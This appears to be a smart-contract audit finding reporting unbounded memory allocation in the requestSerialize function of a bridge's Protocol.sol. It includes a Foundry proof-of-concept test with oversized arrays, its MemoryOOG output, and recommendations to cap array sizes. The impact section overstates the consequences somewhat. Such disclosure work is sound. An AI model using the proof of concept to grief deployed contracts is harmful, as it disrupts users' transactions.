Summary
The requestSerialize
function in the Protocol library is vulnerable to unchecked memory allocation due to the lack of input validation on array sizes. This can lead to memory exhaustion and potential denial of service when handling excessively large requests.
Vulnerability Details
https://github.com/Cyfrin/2024-07-ark-project/blob/273b7b94986d3914d5ee737c99a59ec8728b1517/apps/blockchain/ethereum/src/Protocol.sol#L207-L239
The function calculates the required buffer size based on the lengths of various arrays within a Request
structure. Without proper checks, this can result in an attempt to allocate more memory than is available, causing a memory out-of-gas error.
function requestSerialize(
Request memory req
)
internal
pure
returns (uint256[] memory)
{
@=> uint256[] memory buf = new uint256[](requestSerializedLength(req));
buf[0] = felt252.unwrap(req.header);
buf[1] = uint128(req.hash);
buf[2] = uint128(req.hash >> 128);
buf[3] = uint256(uint160(req.collectionL1));
buf[4] = snaddress.unwrap(req.collectionL2);
buf[5] = uint256(uint160(req.ownerL1));
buf[6] = snaddress.unwrap(req.ownerL2);
uint256 offset = 7;
offset += Cairo.cairoStringSerialize(req.name, buf, offset);
offset += Cairo.cairoStringSerialize(req.symbol, buf, offset);
offset += Cairo.cairoStringSerialize(req.uri, buf, offset);
offset += Cairo.uint256ArraySerialize(req.tokenIds, buf, offset);
offset += Cairo.uint256ArraySerialize(req.tokenValues, buf, offset);
offset += Cairo.cairoStringArraySerialize(req.tokenURIs, buf, offset);
offset += Cairo.uint256ArraySerialize(req.newOwners, buf, offset);
return buf;
}
pragma solidity ^0.8.8;
import "forge-std/Test.sol";
import "../src/Protocol.sol";
import "../src/sn/Cairo.sol";
contract ProtocolTest is Test {
using Cairo for uint256;
Request request;
function setUp() public {
uint256 largeSize = 2**16;
request = Request({
header: Cairo.felt252Wrap(0),
hash: 0,
collectionL1: address(0),
collectionL2: Cairo.snaddressWrap(0),
ownerL1: address(0),
ownerL2: Cairo.snaddressWrap(0),
name: "",
symbol: "",
uri: "",
tokenIds: new uint256[](largeSize),
tokenValues: new uint256[](largeSize),
tokenURIs: new string[](largeSize),
newOwners: new uint256[](largeSize)
});
}
function testRequestSerialize() public {
vm.expectRevert();
Protocol.requestSerialize(request);
}
}
forge test --match-path test/ProtocolTest.t.sol -vvvv
[⠊] Compiling...
[⠊] Compiling 1 files with Solc 0.8.26
[⠒] Solc 0.8.26 finished in 923.85ms
Compiler run successful with warnings:
Warning (5667): Unused function parameter. Remove or comment out the variable name to silence this warning.
--> src/token/TokenUtil.sol:114:9:
|
114 | address collection
| ^^^^^^^^^^^^^^^^^^
Warning (2018): Function state mutability can be restricted to pure
--> src/token/TokenUtil.sol:113:5:
|
113 | function erc1155Metadata(
| ^ (Relevant source part starts here and spans across multiple lines).
Ran 1 test for test/ProtocolTest.t.sol:ProtocolTest
[PASS] testRequestSerialize() (gas: 847120396)
Traces:
[847120396] ProtocolTest::testRequestSerialize()
├─ [0] VM::expectRevert(custom error f4844814:)
│ └─ ← [Return]
└─ ← [MemoryOOG] EvmError: MemoryOOG
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 998.23ms (598.38ms CPU time)
Ran 1 test suite in 999.53ms (998.23ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Impact
Users may experience disruptions in service as the contract could become unresponsive or revert transactions due to memory exhaustion.
Users attempting to interact with the contract during an attack may incur higher gas fees as their transactions fail or require multiple attempts to succeed.
The contract's inability to process requests efficiently could lead to delays in transaction confirmations.
Users relying on timely token bridging might face financial losses due to delayed or failed transactions.
Repeated exploitation of this vulnerability could contribute to network congestion, affecting not only the users of this contract but also other users on the network.
Tools Used
Recommendations
Implement strict checks on the size of arrays within the Request
structure to ensure they do not exceed reasonable limits.
Define and enforce maximum allowable sizes for each array in the Request
to prevent excessive memory allocation.